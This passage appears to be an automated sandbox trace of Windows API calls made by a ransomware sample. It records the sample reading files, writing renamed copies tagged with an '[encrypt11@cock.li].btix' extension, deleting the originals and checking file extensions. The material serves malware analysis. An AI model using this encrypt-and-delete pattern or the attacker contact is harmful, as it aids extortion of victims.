(lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0041.799] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=42674) returned 1 [0041.799] CloseHandle (hObject=0x31c) returned 1 [0041.799] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20 [0041.799] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.799] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0041.799] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0041.799] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0041.799] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0041.799] GetLastError () returned 0x0 [0041.799] ReadFile (in: hFile=0x31c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xa6b2, lpOverlapped=0x0) returned 1 [0041.858] WriteFile (in: hFile=0x324, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xa6c0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xa6c0, lpOverlapped=0x0) returned 1 [0041.859] ReadFile (in: hFile=0x31c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0041.860] WriteFile (in: hFile=0x324, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x11e, lpOverlapped=0x0) returned 1 [0041.860] SetEndOfFile (hFile=0x324) returned 1 [0041.860] CloseHandle (hObject=0x324) returned 1 [0041.861] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0041.861] SetEndOfFile (hFile=0x31c) returned 1 [0041.862] CloseHandle (hObject=0x31c) returned 1 [0041.862] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0041.862] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 1 [0041.863] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0041.863] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0041.863] lstrlenW (lpString=".doc") returned 4 [0041.863] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0041.863] lstrlenW (lpString=".docx") returned 5 [0041.863] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0041.863] lstrlenW (lpString=".pdf") returned 4 [0041.863] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0041.863] lstrlenW (lpString=".xls") returned 4 [0041.863] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0041.863] lstrlenW (lpString=".xlsx") returned 5 [0041.863] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1 [0041.863] lstrlenW (lpString=".ppt") returned 4 [0041.863] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0041.863] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0041.863] lstrlenW (lpString=".zip") returned 4 [0041.863] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0041.863] lstrlenW (lpString=".rar") returned 4 [0041.863] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0041.863] lstrlenW (lpString=".bz2") returned 4 [0041.863] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0041.863] lstrlenW (lpString=".7z") returned 3 [0041.863] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0041.863] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0041.863] lstrlenW (lpString=".dbf") returned 4 [0041.863] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0041.863] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0041.864] lstrlenW (lpString=".1cd") returned 4 [0041.864] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0041.864] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0041.864] lstrlenW (lpString=".jpg") returned 4 [0041.864] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0041.864] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0041.864] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0041.864] lstrlenW (lpString=".doc") returned 4 [0041.864] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0041.864] lstrlenW (lpString=".docx") returned 5 [0041.864] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0041.864] lstrlenW (lpString=".pdf") returned 4 [0041.864] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0041.864] lstrlenW (lpString=".xls") returned 4 [0041.864] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0041.864] lstrlenW (lpString=".xlsx") returned 5 [0041.864] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1 [0041.864] lstrlenW (lpString=".ppt") returned 4 [0041.864] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0041.864] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0041.864] lstrlenW (lpString=".zip") returned 4 [0041.864] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0041.864] lstrlenW (lpString=".rar") returned 4 [0041.864] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0041.864] lstrlenW (lpString=".bz2") returned 4 [0041.864] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0041.864] lstrlenW (lpString=".7z") returned 3 [0041.864] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0041.864] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0041.864] lstrlenW (lpString=".dbf") returned 4 [0041.864] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0041.864] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0041.864] lstrlenW (lpString=".1cd") returned 4 [0041.864] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0041.865] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0041.865] lstrlenW (lpString=".jpg") returned 4 [0041.865] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0041.865] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0041.865] lstrlenW (lpString="eula.rtf") returned 8 [0041.865] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0041.886] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=3726) returned 1 [0041.886] CloseHandle (hObject=0x308) returned 1 [0041.886] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80 [0041.886] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.886] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0041.886] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0041.887] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0041.887] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0041.900] GetLastError () returned 0x0 [0041.900] ReadFile (in: hFile=0x308, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xe8e, lpOverlapped=0x0) returned 1 [0041.927] WriteFile (in: hFile=0x30c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xe90, lpOverlapped=0x0) returned 1 [0041.928] ReadFile (in: hFile=0x308, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0041.928] WriteFile (in: hFile=0x30c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xe4, lpOverlapped=0x0) returned 1 [0041.928] SetEndOfFile (hFile=0x30c) returned 1 [0041.928] CloseHandle (hObject=0x30c) returned 1 [0041.929] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0041.929] SetEndOfFile (hFile=0x308) returned 1 [0041.930] CloseHandle (hObject=0x308) returned 1 [0041.930] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0041.930] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 1 [0041.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0041.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0041.930] lstrlenW (lpString=".doc") returned 4 [0041.930] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0041.930] lstrlenW (lpString=".docx") returned 5 [0041.930] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0041.931] lstrlenW (lpString=".pdf") returned 4 [0041.931] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0041.931] lstrlenW (lpString=".xls") returned 4 [0041.931] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0041.931] lstrlenW (lpString=".xlsx") returned 5 [0041.931] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0041.931] lstrlenW (lpString=".ppt") returned 4 [0041.931] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0041.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0041.931] lstrlenW (lpString=".zip") returned 4 [0041.931] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0041.931] lstrlenW (lpString=".rar") returned 4 [0041.931] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0041.931] lstrlenW (lpString=".bz2") returned 4 [0041.931] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0041.931] lstrlenW (lpString=".7z") returned 3 [0041.931] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0041.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0041.931] lstrlenW (lpString=".dbf") returned 4 [0041.931] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0041.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0041.931] lstrlenW (lpString=".1cd") returned 4 [0041.931] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0041.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0041.931] lstrlenW (lpString=".jpg") returned 4 [0041.931] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0041.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0041.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0041.931] lstrlenW (lpString=".doc") returned 4 [0041.931] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0041.931] lstrlenW (lpString=".docx") returned 5 [0041.931] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0041.931] lstrlenW (lpString=".pdf") returned 4 [0041.931] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0041.931] lstrlenW (lpString=".xls") returned 4 [0041.932] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0041.932] lstrlenW (lpString=".xlsx") returned 5 [0041.932] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0041.932] lstrlenW (lpString=".ppt") returned 4 [0041.932] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0041.932] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0041.932] lstrlenW (lpString=".zip") returned 4 [0041.932] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0041.932] lstrlenW (lpString=".rar") returned 4 [0041.932] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0041.932] lstrlenW (lpString=".bz2") returned 4 [0041.932] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0041.932] lstrlenW (lpString=".7z") returned 3 [0041.932] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0041.932] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0041.932] lstrlenW (lpString=".dbf") returned 4 [0041.932] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0041.932] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0041.932] lstrlenW (lpString=".1cd") returned 4 [0041.932] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0041.932] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0041.932] lstrlenW (lpString=".jpg") returned 4 [0041.932] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0041.932] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0041.932] lstrlenW (lpString="eula.rtf") returned 8 [0041.932] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0041.946] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=3314) returned 1 [0041.946] CloseHandle (hObject=0x32c) returned 1 [0041.946] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80 [0041.946] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.946] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0041.946] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0041.946] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0041.946] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0041.985] GetLastError () returned 0x0 [0041.985] ReadFile (in: hFile=0x32c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xcf2, lpOverlapped=0x0) returned 1 [0042.285] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xd00, lpOverlapped=0x0) returned 1 [0042.287] ReadFile (in: hFile=0x32c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0042.287] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xe4, lpOverlapped=0x0) returned 1 [0042.287] SetEndOfFile (hFile=0x308) returned 1 [0042.287] CloseHandle (hObject=0x308) returned 1 [0042.288] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0042.288] SetEndOfFile (hFile=0x32c) returned 1 [0042.289] CloseHandle (hObject=0x32c) returned 1 [0042.289] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.290] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 1 [0042.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0042.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0042.290] lstrlenW (lpString=".doc") returned 4 [0042.290] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0042.290] lstrlenW (lpString=".docx") returned 5 [0042.290] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0042.290] lstrlenW (lpString=".pdf") returned 4 [0042.290] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0042.290] lstrlenW (lpString=".xls") returned 4 [0042.290] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0042.290] lstrlenW (lpString=".xlsx") returned 5 [0042.290] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0042.290] lstrlenW (lpString=".ppt") returned 4 [0042.290] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0042.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0042.290] lstrlenW (lpString=".zip") returned 4 [0042.290] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0042.291] lstrlenW (lpString=".rar") returned 4 [0042.291] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0042.291] lstrlenW (lpString=".bz2") returned 4 [0042.291] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0042.291] lstrlenW (lpString=".7z") returned 3 [0042.291] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0042.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0042.291] lstrlenW (lpString=".dbf") returned 4 [0042.291] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0042.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0042.291] lstrlenW (lpString=".1cd") returned 4 [0042.291] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0042.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0042.291] lstrlenW (lpString=".jpg") returned 4 [0042.291] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0042.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0042.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0042.291] lstrlenW (lpString=".doc") returned 4 [0042.291] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0042.291] lstrlenW (lpString=".docx") returned 5 [0042.291] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0042.291] lstrlenW (lpString=".pdf") returned 4 [0042.291] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0042.291] lstrlenW (lpString=".xls") returned 4 [0042.291] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0042.292] lstrlenW (lpString=".xlsx") returned 5 [0042.292] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0042.292] lstrlenW (lpString=".ppt") returned 4 [0042.292] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0042.292] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0042.292] lstrlenW (lpString=".zip") returned 4 [0042.292] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0042.292] lstrlenW (lpString=".rar") returned 4 [0042.292] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0042.292] lstrlenW (lpString=".bz2") returned 4 [0042.292] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0042.292] lstrlenW (lpString=".7z") returned 3 [0042.292] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0042.292] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0042.292] lstrlenW (lpString=".dbf") returned 4 [0042.292] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0042.292] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0042.292] lstrlenW (lpString=".1cd") returned 4 [0042.292] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0042.292] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0042.292] lstrlenW (lpString=".jpg") returned 4 [0042.292] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0042.292] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0042.293] lstrlenW (lpString="eula.rtf") returned 8 [0042.293] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0042.293] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=3188) returned 1 [0042.293] CloseHandle (hObject=0x32c) returned 1 [0042.293] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80 [0042.293] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0042.294] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0042.294] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0042.294] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0042.294] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0042.294] GetLastError () returned 0x0 [0042.294] ReadFile (in: hFile=0x32c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xc74, lpOverlapped=0x0) returned 1 [0042.346] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xc80, lpOverlapped=0x0) returned 1 [0042.347] ReadFile (in: hFile=0x32c, lpBuffer=0x3e36020, 